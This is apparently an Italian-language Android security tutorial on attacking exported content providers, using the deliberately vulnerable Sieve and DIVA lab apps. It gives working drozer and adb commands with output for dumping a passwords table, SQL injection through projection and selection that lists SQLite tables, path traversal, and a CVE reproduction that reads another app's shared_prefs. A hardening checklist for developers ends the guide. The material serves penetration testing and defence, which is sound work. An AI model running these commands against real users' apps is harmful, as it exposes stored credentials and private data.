Exploiting Content Providers

Reading time: 8 minutes

Intro

I dati sono forniti da un'applicazione ad altre su richiesta da un componente noto come content provider. Queste richieste sono gestite attraverso i metodi della ContentResolver class. I content provider possono memorizzare i loro dati in varie posizioni, come un database, file o su una rete.

Nel file Manifest.xml, è necessaria la dichiarazione del content provider. Ad esempio:

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

Per accedere a content://com.mwr.example.sieve.DBContentProvider/Keys, è necessaria l'autorizzazione READ_KEYS. È interessante notare che il percorso /Keys/ è accessibile nella sezione seguente, che non è protetta a causa di un errore dello sviluppatore, che ha protetto /Keys ma ha dichiarato /Keys/.

Forse puoi accedere a dati privati o sfruttare qualche vulnerabilità (SQL Injection o Path Traversal).

Ottieni informazioni da content provider esposti

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

È possibile ricostruire come raggiungere il DBContentProvider iniziando gli URI con “content://”. Questo approccio si basa su intuizioni ottenute utilizzando Drozer, dove informazioni chiave si trovavano nella directory /Keys.

Drozer può indovinare e provare diversi URI:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Dovresti anche controllare il codice del ContentProvider per cercare query:

Inoltre, se non riesci a trovare query complete, potresti controllare quali nomi sono dichiarati dal ContentProvider nel metodo onCreate:

La query sarà simile a: content://name.of.package.class/declared_name

Content Provider supportati da database

Probabilmente la maggior parte dei Content Provider è utilizzata come interfaccia per un database. Pertanto, se puoi accedervi, potresti essere in grado di estrarre, aggiornare, inserire e eliminare informazioni.
Controlla se puoi accedere a informazioni sensibili o prova a modificarle per bypassare i meccanismi di autorizzazione.

Quando controlli il codice del Content Provider guarda anche per funzioni chiamate come: query, insert, update e delete:

Perché sarai in grado di chiamarle

Query content

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

Insert content

Interrogando il database imparerai il nome delle colonne, poi, potresti essere in grado di inserire dati nel DB:

Nota che in insert e update puoi usare --string per indicare una stringa, --double per indicare un double, --float, --integer, --long, --short, --boolean

Update content

Conoscendo il nome delle colonne potresti anche modificare le voci:

Delete content

SQL Injection

È semplice testare per SQL injection (SQLite) manipolando i campi di proiezione e selezione che vengono passati al content provider.
Quando interroghi il Content Provider ci sono 2 argomenti interessanti per cercare informazioni: --selection e --projection:

Puoi provare ad abusare di questi parametri per testare per SQL injections:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Scoperta automatica di SQLInjection da parte di Drozer

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

Content Provider basati su File System

I content provider possono essere utilizzati anche per accedere ai file:

Leggi file

Puoi leggere i file dal Content Provider

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Path Traversal

Se puoi accedere ai file, puoi provare ad abusare di un Path Traversal (in questo caso non è necessario, ma puoi provare a usare "../" e trucchi simili).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Scoperta automatica del Path Traversal da parte di Drozer

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

Aggiornamenti 2023-2025 e Consigli Moderni

Drozer 3.x (Python 3) è disponibile

WithSecure ha ripreso la manutenzione di drozer nel 2022 e ha portato il framework a Python 3 (ultima 3.1.0 – Aprile 2024). Oltre alle correzioni di compatibilità, i nuovi moduli che sono particolarmente utili quando si lavora con i Content Providers includono:

• scanner.provider.exported – elenca solo i provider con android:exported="true".
• app.provider.grant – chiama automaticamente grantUriPermission() in modo da poter comunicare con i provider che si aspettano FLAG_GRANT_READ_URI_PERMISSION / FLAG_GRANT_WRITE_URI_PERMISSION su Android 12+.
• Migliore gestione dello Scoped Storage in modo che i provider basati su file su Android 11+ possano ancora essere raggiunti.

Aggiorna (host & agent):

pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk

Utilizzando l'assistente integrato cmd content (ADB ≥ 8.0)

Tutti i moderni dispositivi Android sono dotati di un'interfaccia a riga di comando che può interrogare/aggiornare i provider senza installare alcun agente:

adb shell cmd content query  --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
--bind price:d:1337
adb shell cmd content call   --uri content://com.test.provider  \
--method evilMethod --arg 'foo'

Combinalo con run-as <pkg> o una shell con accesso root per testare i provider riservati.

CVE recenti nel mondo reale che hanno abusato dei Content Providers

Ricrea CVE-2024-43089 su una build vulnerabile:

adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml

Hardening checklist for API 30+

• Dichiarare android:exported="false" a meno che il provider debba essere pubblico – a partire dall'API 31 l'attributo è obbligatorio.
• Applicare permessi e/o android:grantUriPermissions="true" invece di esportare l'intero provider.
• Aggiungere alla whitelist gli argomenti projection, selection e sortOrder consentiti (ad es. costruire query con SQLiteQueryBuilder.setProjectionMap).
• In openFile() canonizzare il percorso richiesto (FileUtils) e rifiutare le sequenze .. per prevenire la traversata.
• Quando si espongono file, preferire il Storage Access Framework o un FileProvider.

Queste modifiche nelle versioni recenti di Android significano che molte primitive di sfruttamento legacy funzionano ancora, ma richiedono flag/permissi aggiuntivi che i moduli drozer aggiornati o l'assistente cmd content possono applicare automaticamente.

References

• https://www.tutorialspoint.com/android/android_content_providers.htm
• https://manifestsecurity.com/android-application-security-part-15/
• https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf
• https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0
• https://source.android.com/security/bulletin/2024-07-01